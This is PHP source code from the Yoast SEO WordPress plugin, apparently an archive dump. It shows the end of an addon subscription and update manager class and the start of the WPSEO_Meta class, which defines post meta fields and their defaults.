	 * Holds the name of the transient.
	 *
	 * @var string
	 */
	public const SITE_INFORMATION_TRANSIENT = 'wpseo_site_information';

	/**
	 * Holds the name of the transient.
	 *
	 * @var string
	 */
	public const SITE_INFORMATION_TRANSIENT_QUICK = 'wpseo_site_information_quick';

	/**
	 * Holds the slug for YoastSEO free.
	 *
	 * @var string
	 */
	public const FREE_SLUG = 'yoast-seo-wordpress';

	/**
	 * Holds the slug for YoastSEO Premium.
	 *
	 * @var string
	 */
	public const PREMIUM_SLUG = 'yoast-seo-wordpress-premium';

	/**
	 * Holds the slug for Yoast News.
	 *
	 * @var string
	 */
	public const NEWS_SLUG = 'yoast-seo-news';

	/**
	 * Holds the slug for Video.
	 *
	 * @var string
	 */
	public const VIDEO_SLUG = 'yoast-seo-video';

	/**
	 * Holds the slug for WooCommerce.
	 *
	 * @var string
	 */
	public const WOOCOMMERCE_SLUG = 'yoast-seo-woocommerce';

	/**
	 * Holds the slug for Local.
	 *
	 * @var string
	 */
	public const LOCAL_SLUG = 'yoast-seo-local';

	/**
	 * The expected addon data.
	 *
	 * @var array
	 */
	protected static $addons = [
		'wp-seo-premium.php'    => self::PREMIUM_SLUG,
		'wpseo-news.php'        => self::NEWS_SLUG,
		'video-seo.php'         => self::VIDEO_SLUG,
		'wpseo-woocommerce.php' => self::WOOCOMMERCE_SLUG,
		'local-seo.php'         => self::LOCAL_SLUG,
	];

	/**
	 * The addon data for the shortlinks.
	 *
	 * @var array
	 */
	private $addon_details = [
		self::PREMIUM_SLUG     => [
			'name'                  => 'Yoast SEO Premium',
			'short_link_activation' => 'https://yoa.st/13j',
			'short_link_renewal'    => 'https://yoa.st/4ey',
		],
		self::NEWS_SLUG        => [
			'name'                  => 'Yoast News SEO',
			'short_link_activation' => 'https://yoa.st/4xq',
			'short_link_renewal'    => 'https://yoa.st/4xv',
		],
		self::WOOCOMMERCE_SLUG => [
			'name'                  => 'Yoast WooCommerce SEO',
			'short_link_activation' => 'https://yoa.st/4xs',
			'short_link_renewal'    => 'https://yoa.st/4xx',
		],
		self::VIDEO_SLUG       => [
			'name'                  => 'Yoast Video SEO',
			'short_link_activation' => 'https://yoa.st/4xr',
			'short_link_renewal'    => 'https://yoa.st/4xw',
		],
		self::LOCAL_SLUG       => [
			'name'                  => 'Yoast Local SEO',
			'short_link_activation' => 'https://yoa.st/4xp',
			'short_link_renewal'    => 'https://yoa.st/4xu',
		],
	];

	/**
	 * Holds the site information data.
	 *
	 * @var stdClass
	 */
	private $site_information;

	/**
	 * Hooks into WordPress.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'admin_init', [ $this, 'validate_addons' ], 15 );
		add_filter( 'pre_set_site_transient_update_plugins', [ $this, 'check_for_updates' ] );
		add_filter( 'plugins_api', [ $this, 'get_plugin_information' ], 10, 3 );
		add_action( 'plugins_loaded', [ $this, 'register_expired_messages' ], 10 );
	}

	/**
	 * Registers "expired subscription" warnings to the update messages of our addons.
	 *
	 * @return void
	 */
	public function register_expired_messages() {
		foreach ( array_keys( $this->get_installed_addons() ) as $plugin_file ) {
			add_action( 'in_plugin_update_message-' . $plugin_file, [ $this, 'expired_subscription_warning' ], 10, 2 );
		}
	}

	/**
	 * Gets the subscriptions for current site.
	 *
	 * @return stdClass The subscriptions.
	 */
	public function get_subscriptions() {
		return $this->get_site_information()->subscriptions;
	}

	/**
	 * Provides a list of addon filenames.
	 *
	 * @return string[] List of addon filenames with their slugs.
	 */
	public function get_addon_filenames() {
		return self::$addons;
	}

	/**
	 * Finds the plugin file.
	 *
	 * @param string $plugin_slug The plugin slug to search.
	 *
	 * @return bool|string Plugin file when installed, False when plugin isn't installed.
	 */
	public function get_plugin_file( $plugin_slug ) {
		$plugins            = $this->get_plugins();
		$plugin_files       = array_keys( $plugins );
		$target_plugin_file = array_search( $plugin_slug, $this->get_addon_filenames(), true );

		if ( ! $target_plugin_file ) {
			return false;
		}

		foreach ( $plugin_files as $plugin_file ) {
			if ( strpos( $plugin_file, $target_plugin_file ) !== false ) {
				return $plugin_file;
			}
		}

		return false;
	}

	/**
	 * Retrieves the subscription for the given slug.
	 *
	 * @param string $slug The plugin slug to retrieve.
	 *
	 * @return stdClass|false Subscription data when found, false when not found.
	 */
	public function get_subscription( $slug ) {
		foreach ( $this->get_subscriptions() as $subscription ) {
			if ( $subscription->product->slug === $slug ) {
				return $subscription;
			}
		}

		return false;
	}

	/**
	 * Retrieves a list of (subscription) slugs by the active addons.
	 *
	 * @return array The slugs.
	 */
	public function get_subscriptions_for_active_addons() {
		$active_addons      = array_keys( $this->get_active_addons() );
		$subscription_slugs = array_map( [ $this, 'get_slug_by_plugin_file' ], $active_addons );
		$subscriptions      = [];
		foreach ( $subscription_slugs as $subscription_slug ) {
			$subscriptions[ $subscription_slug ] = $this->get_subscription( $subscription_slug );
		}

		return $subscriptions;
	}

	/**
	 * Retrieves a list of versions for each addon.
	 *
	 * @return array The addon versions.
	 */
	public function get_installed_addons_versions() {
		$addon_versions = [];
		foreach ( $this->get_installed_addons() as $plugin_file => $installed_addon ) {
			$addon_versions[ $this->get_slug_by_plugin_file( $plugin_file ) ] = $installed_addon['Version'];
		}

		return $addon_versions;
	}

	/**
	 * Retrieves the plugin information from the subscriptions.
	 *
	 * @param stdClass|false $data   The result object. Default false.
	 * @param string         $action The type of information being requested from the Plugin Installation API.
	 * @param stdClass       $args   Plugin API arguments.
	 *
	 * @return object Extended plugin data.
	 */
	public function get_plugin_information( $data, $action, $args ) {
		if ( $action !== 'plugin_information' ) {
			return $data;
		}

		if ( ! isset( $args->slug ) ) {
			return $data;
		}

		$subscription = $this->get_subscription( $args->slug );
		if ( ! $subscription ) {
			return $data;
		}

		$data = $this->convert_subscription_to_plugin( $subscription, null, true );

		if ( $this->has_subscription_expired( $subscription ) ) {
			unset( $data->package, $data->download_link );
		}

		return $data;
	}

	/**
	 * Retrieves information from MyYoast about which addons are connected to the current site.
	 *
	 * @return stdClass The list of addons activated for this site.
	 */
	public function get_myyoast_site_information() {
		if ( $this->site_information === null ) {
			$this->site_information = $this->get_site_information_transient();
		}

		if ( $this->site_information ) {
			return $this->site_information;
		}

		$this->site_information = $this->request_current_sites();
		if ( $this->site_information ) {
			$this->site_information = $this->map_site_information( $this->site_information );

			$this->set_site_information_transient( $this->site_information );

			return $this->site_information;
		}

		return $this->get_site_information_default();
	}

	/**
	 * Checks if the subscription for the given slug is valid.
	 *
	 * @param string $slug The plugin slug to retrieve.
	 *
	 * @return bool True when the subscription is valid.
	 */
	public function has_valid_subscription( $slug ) {
		$subscription = $this->get_subscription( $slug );

		// An non-existing subscription is never valid.
		if ( ! $subscription ) {
			return false;
		}

		return ! $this->has_subscription_expired( $subscription );
	}

	/**
	 * Checks if there are addon updates.
	 *
	 * @param stdClass|mixed $data The current data for update_plugins.
	 *
	 * @return stdClass Extended data for update_plugins.
	 */
	public function check_for_updates( $data ) {
		global $wp_version;

		if ( empty( $data ) ) {
			return $data;
		}

		// We have to figure out if we're safe to upgrade the add-ons, based on what the latest Yoast Free requirements for the WP version is.
		$yoast_free_data = $this->extract_yoast_data( $data );

		foreach ( $this->get_installed_addons() as $plugin_file => $installed_plugin ) {
			$subscription_slug = $this->get_slug_by_plugin_file( $plugin_file );
			$subscription      = $this->get_subscription( $subscription_slug );

			if ( ! $subscription ) {
				continue;
			}

			$plugin_data = $this->convert_subscription_to_plugin( $subscription, $yoast_free_data, false, $plugin_file );

			// Let's assume for now that it will get added in the 'no_update' key that we'll return to the WP API.
			$is_no_update = true;

			// If the add-on's version is the latest, we have to do no further checks.
			if ( version_compare( $installed_plugin['Version'], $plugin_data->new_version, '<' ) ) {
				// If we haven't retrieved the Yoast Free requirements for the WP version yet, do nothing. The next run will probably get us that information.
				if ( is_null( $plugin_data->requires ) ) {
					continue;
				}

				if ( version_compare( $plugin_data->requires, $wp_version, '<=' ) ) {
					// The add-on has an available update *and* the Yoast Free requirements for the WP version are also met, so go ahead and show the upgrade info to the user.
					$is_no_update                   = false;
					$data->response[ $plugin_file ] = $plugin_data;

					if ( $this->has_subscription_expired( $subscription ) ) {
						unset( $data->response[ $plugin_file ]->package, $data->response[ $plugin_file ]->download_link );
					}
				}
			}

			if ( $is_no_update ) {
				// Still convert subscription when no updates is available.
				$data->no_update[ $plugin_file ] = $plugin_data;

				if ( $this->has_subscription_expired( $subscription ) ) {
					unset( $data->no_update[ $plugin_file ]->package, $data->no_update[ $plugin_file ]->download_link );
				}
			}
		}

		return $data;
	}

	/**
	 * Extracts Yoast SEO Free's data from the wp.org API response.
	 *
	 * @param object $data The wp.org API response.
	 *
	 * @return object Yoast Free's data from wp.org.
	 */
	protected function extract_yoast_data( $data ) {
		if ( isset( $data->response[ WPSEO_BASENAME ] ) ) {
			return $data->response[ WPSEO_BASENAME ];
		}

		if ( isset( $data->no_update[ WPSEO_BASENAME ] ) ) {
			return $data->no_update[ WPSEO_BASENAME ];
		}

		return (object) [];
	}

	/**
	 * If the plugin is lacking an active subscription, throw a warning.
	 *
	 * @param array $plugin_data The data for the plugin in this row.
	 *
	 * @return void
	 */
	public function expired_subscription_warning( $plugin_data ) {
		$subscription = $this->get_subscription( $plugin_data['slug'] );
		if ( $subscription && $this->has_subscription_expired( $subscription ) ) {
			$addon_link = ( isset( $this->addon_details[ $plugin_data['slug'] ] ) ) ? $this->addon_details[ $plugin_data['slug'] ]['short_link_renewal'] : $this->addon_details[ self::PREMIUM_SLUG ]['short_link_renewal'];

			$sale_copy = '';
			if ( YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2023-promotion' ) ) {
				$sale_copy = sprintf(
				/* translators: %1$s is a <br> tag. */
					esc_html__( '%1$s Now with 30%% Black Friday Discount!', 'wordpress-seo' ),
					'<br>'
				);
			}
			echo '<br><br>';
			echo '<strong><span class="yoast-dashicons-notice warning dashicons dashicons-warning"></span> '
				. sprintf(
					/* translators: %1$s is the plugin name, %2$s and %3$s are a link. */
					esc_html__( '%1$s can\'t be updated because your product subscription is expired. %2$sRenew your product subscription%3$s to get updates again and use all the features of %1$s.', 'wordpress-seo' ),
					esc_html( $plugin_data['name'] ),
					'<a href="' . esc_url( WPSEO_Shortlinker::get( $addon_link ) ) . '">',
					'</a>'
				)
				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output is escaped above.
				. $sale_copy
				. '</strong>';
		}
	}

	/**
	 * Checks if there are any installed addons.
	 *
	 * @return bool True when there are installed Yoast addons.
	 */
	public function has_installed_addons() {
		$installed_addons = $this->get_installed_addons();

		return ! empty( $installed_addons );
	}

	/**
	 * Checks if the plugin is installed and activated in WordPress.
	 *
	 * @param string $slug The class' slug.
	 *
	 * @return bool True when installed and activated.
	 */
	public function is_installed( $slug ) {
		$slug_to_class_map = [
			static::PREMIUM_SLUG     => 'WPSEO_Premium',
			static::NEWS_SLUG        => 'WPSEO_News',
			static::WOOCOMMERCE_SLUG => 'Yoast_WooCommerce_SEO',
			static::VIDEO_SLUG       => 'WPSEO_Video_Sitemap',
			static::LOCAL_SLUG       => 'WPSEO_Local_Core',
		];

		if ( ! isset( $slug_to_class_map[ $slug ] ) ) {
			return false;
		}

		return class_exists( $slug_to_class_map[ $slug ] );
	}

	/**
	 * Validates the addons and show a notice for the ones that are invalid.
	 *
	 * @return void
	 */
	public function validate_addons() {
		$notification_center = Yoast_Notification_Center::get();

		if ( $notification_center === null ) {
			return;
		}

		foreach ( $this->addon_details as $slug => $addon_info ) {
			$notification = $this->create_notification( $addon_info['name'], $addon_info['short_link_activation'] );

			// Add a notification when the installed plugin isn't activated in My Yoast.
			if ( $this->is_installed( $slug ) && ! $this->has_valid_subscription( $slug ) ) {
				$notification_center->add_notification( $notification );

				continue;
			}

			$notification_center->remove_notification( $notification );
		}
	}

	/**
	 * Removes the site information transients.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function remove_site_information_transients() {
		delete_transient( self::SITE_INFORMATION_TRANSIENT );
		delete_transient( self::SITE_INFORMATION_TRANSIENT_QUICK );
	}

	/**
	 * Creates an instance of Yoast_Notification.
	 *
	 * @param string $product_name The product to create the notification for.
	 * @param string $short_link   The short link for the addon notification.
	 *
	 * @return Yoast_Notification The created notification.
	 */
	protected function create_notification( $product_name, $short_link ) {
		$notification_options = [
			'type'         => Yoast_Notification::ERROR,
			'id'           => 'wpseo-dismiss-' . sanitize_title_with_dashes( $product_name, null, 'save' ),
			'capabilities' => 'wpseo_manage_options',
		];

		return new Yoast_Notification(
			sprintf(
			/* translators: %1$s expands to a strong tag, %2$s expands to the product name, %3$s expands to a closing strong tag, %4$s expands to an a tag. %5$s expands to MyYoast, %6$s expands to a closing a tag,  %7$s expands to the product name  */
				__( '%1$s %2$s isn\'t working as expected %3$s and you are not receiving updates or support! Make sure to %4$s activate your product subscription in %5$s%6$s to unlock all the features of %7$s.', 'wordpress-seo' ),
				'<strong>',
				$product_name,
				'</strong>',
				'<a href="' . WPSEO_Shortlinker::get( $short_link ) . '" target="_blank">',
				'MyYoast',
				'</a>',
				$product_name
			),
			$notification_options
		);
	}

	/**
	 * Checks whether a plugin expiry date has been passed.
	 *
	 * @param stdClass $subscription Plugin subscription.
	 *
	 * @return bool Has the plugin expired.
	 */
	protected function has_subscription_expired( $subscription ) {
		return ( strtotime( $subscription->expiry_date ) - time() ) < 0;
	}

	/**
	 * Converts a subscription to plugin based format.
	 *
	 * @param stdClass      $subscription    The subscription to convert.
	 * @param stdClass|null $yoast_free_data The Yoast Free's data.
	 * @param bool          $plugin_info     Whether we're in the plugin information modal.
	 * @param string        $plugin_file     The plugin filename.
	 *
	 * @return stdClass The converted subscription.
	 */
	protected function convert_subscription_to_plugin( $subscription, $yoast_free_data = null, $plugin_info = false, $plugin_file = '' ) {
		$changelog = '';
		if ( isset( $subscription->product->changelog ) ) {
			// We need to replace h2's and h3's with h4's because the styling expects that.
			$changelog = str_replace( '</h2', '</h4', str_replace( '<h2', '<h4', $subscription->product->changelog ) );
			$changelog = str_replace( '</h3', '</h4', str_replace( '<h3', '<h4', $changelog ) );
		}

		// If we're running this because we want to just show the plugin info in the version details modal, we can fallback to the Yoast Free constants, since that modal will not be accessible anyway in the event that the new Free version increases those constants.
		$defaults = [
			// It can be expanded if we have the 'tested' and 'requires_php' data be returned from wp.org in the future.
			'requires'     => ( $plugin_info ) ? YOAST_SEO_WP_REQUIRED : null,
		];

		return (object) [
			'new_version'      => ( $subscription->product->version ?? '' ),
			'name'             => $subscription->product->name,
			'slug'             => $subscription->product->slug,
			'plugin'           => $plugin_file,
			'url'              => $subscription->product->store_url,
			'last_update'      => $subscription->product->last_updated,
			'homepage'         => $subscription->product->store_url,
			'download_link'    => $subscription->product->download,
			'package'          => $subscription->product->download,
			'sections'         => [
				'changelog' => $changelog,
				'support'   => $this->get_support_section(),
			],
			'icons'            => [
				'2x' => $this->get_icon( $subscription->product->slug ),
			],
			'update_supported' => true,
			'banners'          => $this->get_banners( $subscription->product->slug ),
			// If we have extracted Yoast Free's data before, use that. If not, resort to the defaults.
			'tested'           => YOAST_SEO_WP_TESTED,
			'requires'         => ( $yoast_free_data->requires ?? $defaults['requires'] ),
			'requires_php'     => YOAST_SEO_PHP_REQUIRED,
		];
	}

	/**
	 * Returns the plugin's icon URL.
	 *
	 * @param string $slug The plugin slug.
	 *
	 * @return string The icon URL for this plugin.
	 */
	protected function get_icon( $slug ) {
		switch ( $slug ) {
			case self::LOCAL_SLUG:
				return 'https://yoa.st/local-seo-icon';
			case self::NEWS_SLUG:
				return 'https://yoa.st/news-seo-icon';
			case self::PREMIUM_SLUG:
				return 'https://yoa.st/yoast-seo-icon';
			case self::VIDEO_SLUG:
				return 'https://yoa.st/video-seo-icon';
			case self::WOOCOMMERCE_SLUG:
				return 'https://yoa.st/woo-seo-icon';
		}
	}

	/**
	 * Return an array of plugin banner URLs.
	 *
	 * @param string $slug The plugin slug.
	 *
	 * @return string[]
	 */
	protected function get_banners( $slug ) {
		switch ( $slug ) {
			case self::LOCAL_SLUG:
				return [
					'high' => 'https://yoa.st/yoast-seo-banner-local',
					'low'  => 'https://yoa.st/yoast-seo-banner-low-local',
				];
			case self::NEWS_SLUG:
				return [
					'high' => 'https://yoa.st/yoast-seo-banner-news',
					'low'  => 'https://yoa.st/yoast-seo-banner-low-news',
				];
			case self::PREMIUM_SLUG:
				return [
					'high' => 'https://yoa.st/yoast-seo-banner-premium',
					'low'  => 'https://yoa.st/yoast-seo-banner-low-premium',
				];
			case self::VIDEO_SLUG:
				return [
					'high' => 'https://yoa.st/yoast-seo-banner-video',
					'low'  => 'https://yoa.st/yoast-seo-banner-low-video',
				];
			case self::WOOCOMMERCE_SLUG:
				return [
					'high' => 'https://yoa.st/yoast-seo-banner-woo',
					'low'  => 'https://yoa.st/yoast-seo-banner-low-woo',
				];
		}
	}

	/**
	 * Checks if the given plugin_file belongs to a Yoast addon.
	 *
	 * @param string $plugin_file Path to the plugin.
	 *
	 * @return bool True when plugin file is for a Yoast addon.
	 */
	protected function is_yoast_addon( $plugin_file ) {
		return $this->get_slug_by_plugin_file( $plugin_file ) !== '';
	}

	/**
	 * Retrieves the addon slug by given plugin file path.
	 *
	 * @param string $plugin_file The file path to the plugin.
	 *
	 * @return string The slug when found or empty string when not.
	 */
	protected function get_slug_by_plugin_file( $plugin_file ) {
		$addons = self::$addons;

		// Yoast SEO Free isn't an addon, but we needed it in Premium to fetch translations.
		if ( YoastSEO()->helpers->product->is_premium() ) {
			$addons['wp-seo.php'] = self::FREE_SLUG;
		}

		foreach ( $addons as $addon => $addon_slug ) {
			if ( strpos( $plugin_file, $addon ) !== false ) {
				return $addon_slug;
			}
		}

		return '';
	}

	/**
	 * Retrieves the installed Yoast addons.
	 *
	 * @return array The installed plugins.
	 */
	protected function get_installed_addons() {
		return array_filter( $this->get_plugins(), [ $this, 'is_yoast_addon' ], ARRAY_FILTER_USE_KEY );
	}

	/**
	 * Retrieves a list of active addons.
	 *
	 * @return array The active addons.
	 */
	protected function get_active_addons() {
		return array_filter( $this->get_installed_addons(), [ $this, 'is_plugin_active' ], ARRAY_FILTER_USE_KEY );
	}

	/**
	 * Retrieves the current sites from the API.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return bool|stdClass Object when request is successful. False if not.
	 */
	protected function request_current_sites() {
		$api_request = new WPSEO_MyYoast_Api_Request( 'sites/current' );
		if ( $api_request->fire() ) {
			return $api_request->get_response();
		}

		return $this->get_site_information_default();
	}

	/**
	 * Retrieves the transient value with the site information.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return stdClass|false The transient value.
	 */
	protected function get_site_information_transient() {
		global $pagenow;

		// Force re-check on license & dashboard pages.
		$current_page = null;
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['page'] ) && is_string( $_GET['page'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are only strictly comparing and thus no need to sanitize.
			$current_page = wp_unslash( $_GET['page'] );
		}

		// Check whether the licenses are valid or whether we need to show notifications.
		$quick = ( $current_page === 'wpseo_licenses' || $current_page === 'wpseo_dashboard' );

		// Also do a fresh request on Plugins & Core Update pages.
		$quick = $quick || $pagenow === 'plugins.php';
		$quick = $quick || $pagenow === 'update-core.php';

		if ( $quick ) {
			return get_transient( self::SITE_INFORMATION_TRANSIENT_QUICK );
		}

		return get_transient( self::SITE_INFORMATION_TRANSIENT );
	}

	/**
	 * Sets the site information transient.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param stdClass $site_information The site information to save.
	 *
	 * @return void
	 */
	protected function set_site_information_transient( $site_information ) {
		set_transient( self::SITE_INFORMATION_TRANSIENT, $site_information, DAY_IN_SECONDS );
		set_transient( self::SITE_INFORMATION_TRANSIENT_QUICK, $site_information, 60 );
	}

	/**
	 * Retrieves all installed WordPress plugins.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return array The plugins.
	 */
	protected function get_plugins() {
		if ( ! function_exists( 'get_plugins' ) ) {
			require_once ABSPATH . 'wp-admin/includes/plugin.php';
		}

		return get_plugins();
	}

	/**
	 * Checks if the given plugin file belongs to an active plugin.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param string $plugin_file The file path to the plugin.
	 *
	 * @return bool True when plugin is active.
	 */
	protected function is_plugin_active( $plugin_file ) {
		return is_plugin_active( $plugin_file );
	}

	/**
	 * Returns an object with no subscriptions.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return stdClass Site information.
	 */
	protected function get_site_information_default() {
		return (object) [
			'url'           => WPSEO_Utils::get_home_url(),
			'subscriptions' => [],
		];
	}

	/**
	 * Maps the plugin API response.
	 *
	 * @param object $site_information Site information as received from the API.
	 *
	 * @return stdClass Mapped site information.
	 */
	protected function map_site_information( $site_information ) {
		return (object) [
			'url'           => $site_information->url,
			'subscriptions' => array_map( [ $this, 'map_subscription' ], $site_information->subscriptions ),
		];
	}

	/**
	 * Maps a plugin subscription.
	 *
	 * @param object $subscription Subscription information as received from the API.
	 *
	 * @return stdClass Mapped subscription.
	 */
	protected function map_subscription( $subscription ) {
		// phpcs:disable WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase -- Not our properties.
		return (object) [
			'renewal_url' => $subscription->renewalUrl,
			'expiry_date' => $subscription->expiryDate,
			'product'     => (object) [
				'version'      => $subscription->product->version,
				'name'         => $subscription->product->name,
				'slug'         => $subscription->product->slug,
				'last_updated' => $subscription->product->lastUpdated,
				'store_url'    => $subscription->product->storeUrl,
				// Ternary operator is necessary because download can be undefined.
				'download'     => ( $subscription->product->download ?? null ),
				'changelog'    => $subscription->product->changelog,
			],
		];
		// phpcs:enable
	}

	/**
	 * Retrieves the site information.
	 *
	 * @return stdClass The site information.
	 */
	private function get_site_information() {
		if ( ! $this->has_installed_addons() ) {
			return $this->get_site_information_default();
		}

		return $this->get_myyoast_site_information();
	}

	/**
	 * Retrieves the contents for the support section.
	 *
	 * @return string The support section content.
	 */
	protected function get_support_section() {
		return '<h4>' . __( 'Need support?', 'wordpress-seo' ) . '</h4>'
			. '<p>'
			/* translators: 1: expands to <a> that refers to the help page, 2: </a> closing tag. */
			. sprintf( __( 'You can probably find an answer to your question in our %1$shelp center%2$s.', 'wordpress-seo' ), '<a href="https://yoast.com/help/">', '</a>' )
			. ' '
			/* translators: %s expands to a mailto support link. */
			. sprintf( __( 'If you still need support and have an active subscription for this product, please email %s.', 'wordpress-seo' ), '<a href="mailto:support@yoast.com">support@yoast.com</a>' )
			. '</p>';
	}
}
wordpress-seo/inc/class-wpseo-meta.php000064400000104220147510273100014025 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 * @since   1.5.0
 */

use Yoast\WP\SEO\Config\Schema_Types;
use Yoast\WP\SEO\Helpers\Schema\Article_Helper;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * This class implements defaults and value validation for all WPSEO Post Meta values.
 *
 * Some guidelines:
 * - To update a meta value, you can just use update_post_meta() with the full (prefixed) meta key
 *   or the convenience method WPSEO_Meta::set_value() with the internal key.
 *   All updates will be automatically validated.
 *   Meta values will only be saved to the database if they are *not* the same as the default to
 *   keep database load low.
 * - To retrieve a WPSEO meta value, you **must** use WPSEO_Meta::get_value() which will always return a
 *   string value, either the saved value or the default.
 *   This method can also retrieve a complete set of WPSEO meta values for one specific post, see
 *   the method documentation for the parameters.
 *
 * {@internal Unfortunately there isn't a filter available to hook into before returning the results
 *            for get_post_meta(), get_post_custom() and the likes. That would have been the
 *            preferred solution.}}
 *
 * {@internal All WP native get_meta() results get cached internally, so no need to cache locally.}}
 * {@internal Use $key when the key is the WPSEO internal name (without prefix), $meta_key when it
 *            includes the prefix.}}
 */
class WPSEO_Meta {

	/**
	 * Prefix for all WPSEO meta values in the database.
	 *
	 * {@internal If at any point this would change, quite apart from an upgrade routine,
	 *            this also will need to be changed in the wpml-config.xml file.}}
	 *
	 * @var string
	 */
	public static $meta_prefix = '_yoast_wpseo_';

	/**
	 * Prefix for all WPSEO meta value form field names and ids.
	 *
	 * @var string
	 */
	public static $form_prefix = 'yoast_wpseo_';

	/**
	 * Allowed length of the meta description.
	 *
	 * @var int
	 */
	public static $meta_length = 156;

	/**
	 * Reason the meta description is not the default length.
	 *
	 * @var string
	 */
	public static $meta_length_reason = '';

	/**
	 * Meta box field definitions for the meta box form.
	 *
	 * {@internal
	 * - Titles, help texts, description text and option labels are added via a translate_meta_boxes() method
	 *   in the relevant child classes (WPSEO_Metabox and WPSEO_Social_admin) as they are only needed there.
	 * - Beware: even though the meta keys are divided into subsets, they still have to be uniquely named!}}
	 *
	 * @var array
	 *            Array format:
	 *                (required)       'type'          => (string) field type. i.e. text / textarea / checkbox /
	 *                                                    radio / select / multiselect / upload etc.
	 *                (recommended)    'default_value' => (string|array) default value for the field.
	 *                                                    IMPORTANT:
	 *                                                    - if the field has options, the default has to be the
	 *                                                      key of one of the options.
	 *                                                    - if the field is a text field, the default **has** to be
	 *                                                      an empty string as otherwise the user can't save
	 *                                                      an empty value/delete the meta value.
	 *                                                    - if the field is a checkbox, the only valid values
	 *                                                      are 'on' or 'off'.
	 *                (semi-required)   'options'      => (array) options for used with (multi-)select and radio
	 *                                                    fields, required if that's the field type.
	 *                                                    key = (string) value which will be saved to db.
	 *                                                    value = (string) text label for the option.
	 *                (optional)        'autocomplete' => (bool) whether autocomplete is on for text fields,
	 *                                                    defaults to true.
	 *                (optional)        'class'        => (string) classname(s) to add to the actual <input> tag.
	 *                (optional)        'rows'         => (int) number of rows for a textarea, defaults to 3.
	 *                (optional)        'serialized'   => (bool) whether the value is expected to be serialized,
	 *                                                     i.e. an array or object, defaults to false.
	 *                                                     Currently only used by add-on plugins.
	 */
	public static $meta_fields = [
		'general'  => [
			'focuskw' => [
				'type'  => 'hidden',
				'title' => '',
			],
			'title' => [
				'type'          => 'hidden',
				'default_value' => '',
			],
			'metadesc' => [
				'type'          => 'hidden',
				'default_value' => '',
				'class'         => 'metadesc',
				'rows'          => 2,
			],
			'linkdex' => [
				'type'          => 'hidden',
				'default_value' => '0',
			],
			'content_score' => [
				'type'          => 'hidden',
				'default_value' => '0',
			],
			'inclusive_language_score' => [
				'type'          => 'hidden',
				'default_value' => '0',
			],
			'is_cornerstone' => [
				'type'          => 'hidden',
				'default_value' => 'false',
			],
		],
		'advanced' => [
			'meta-robots-noindex'  => [
				'type'          => 'hidden',
				'default_value' => '0', // = post-type default.
				'options'       => [
					'0' => '', // Post type default.
					'2' => '', // Index.
					'1' => '', // No-index.
				],
			],
			'meta-robots-nofollow' => [
				'type'          => 'hidden',
				'default_value' => '0', // = follow.
				'options'       => [
					'0' => '', // Follow.
					'1' => '', // No-follow.
				],
			],
			'meta-robots-adv'      => [
				'type'          => 'hidden',
				'default_value' => '',
				'options'       => [
					'noimageindex' => '',
					'noarchive'    => '',
					'nosnippet'    => '',
				],
			],
			'bctitle'              => [
				'type'          => 'hidden',
				'default_value' => '',
			],
			'canonical'            => [
				'type'          => 'hidden',
				'default_value' => '',
			],
			'redirect'             => [
				'type'          => 'url',
				'default_value' => '',
			],
		],
		'social'   => [],
		'schema'   => [
			'schema_page_type'    => [
				'type'    => 'hidden',
				'options' => Schema_Types::PAGE_TYPES,
			],
			'schema_article_type' => [
				'type'          => 'hidden',
				'hide_on_pages' => true,
				'options'       => Schema_Types::ARTICLE_TYPES,
			],
		],
		/* Fields we should validate & save, but not show on any form. */
		'non_form' => [
			'linkdex' => [
				'type'          => null,
				'default_value' => '0',
			],
		],
	];

	/**
	 * Helper property - reverse index of the definition array.
	 *
	 * Format: [full meta key including prefix]    => array
	 *         ['subset']    => (string) primary index
	 *         ['key']       => (string) internal key
	 *
	 * @var array
	 */
	public static $fields_index = [];

	/**
	 * Helper property - array containing only the defaults in the format:
	 * [full meta key including prefix]    => (string) default value
	 *
	 * @var array
	 */
	public static $defaults = [];

	/**
	 * Helper property to define the social network meta field definitions - networks.
	 *
	 * @var array
	 */
	private static $social_networks = [
		'opengraph'  => 'opengraph',
		'twitter'    => 'twitter',
	];

	/**
	 * Helper property to define the social network meta field definitions - fields and their type.
	 *
	 * @var array
	 */
	private static $social_fields = [
		'title'       => 'hidden',
		'description' => 'hidden',
		'image'       => 'hidden',
		'image-id'    => 'hidden',
	];

	/**
	 * Register our actions and filters.
	 *
	 * @return void
	 */
	public static function init() {
		foreach ( self::$social_networks as $option => $network ) {
			if ( WPSEO_Options::get( $option, false, [ 'wpseo_social' ] ) === true ) {
				foreach ( self::$social_fields as $box => $type ) {
					self::$meta_fields['social'][ $network . '-' . $box ] = [
						'type'          => $type,
						'default_value' => '',
					];
				}
			}
		}
		unset( $option, $network, $box, $type );

		/**
		 * Allow add-on plugins to register their meta fields for management by this class.
		 * Calls to add_filter() must be made before plugins_loaded prio 14.
		 */
		$extra_fields = apply_filters( 'add_extra_wpseo_meta_fields', [] );
		if ( is_array( $extra_fields ) ) {
			self::$meta_fields = self::array_merge_recursive_distinct( $extra_fields, self::$meta_fields );
		}
		unset( $extra_fields );

		foreach ( self::$meta_fields as $subset => $field_group ) {
			foreach ( $field_group as $key => $field_def ) {

				register_meta(
					'post',
					self::$meta_prefix . $key,
					[ 'sanitize_callback' => [ self::class, 'sanitize_post_meta' ] ]
				);

				// Set the $fields_index property for efficiency.
				self::$fields_index[ self::$meta_prefix . $key ] = [
					'subset' => $subset,
					'key'    => $key,
				];

				// Set the $defaults property for efficiency.
				if ( isset( $field_def['default_value'] ) ) {
					self::$defaults[ self::$meta_prefix . $key ] = $field_def['default_value'];
				}
